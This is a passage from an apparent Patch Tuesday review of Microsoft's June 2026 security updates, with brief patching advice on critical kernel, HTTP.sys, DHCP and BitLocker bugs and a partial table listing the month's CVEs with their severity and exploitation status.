exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
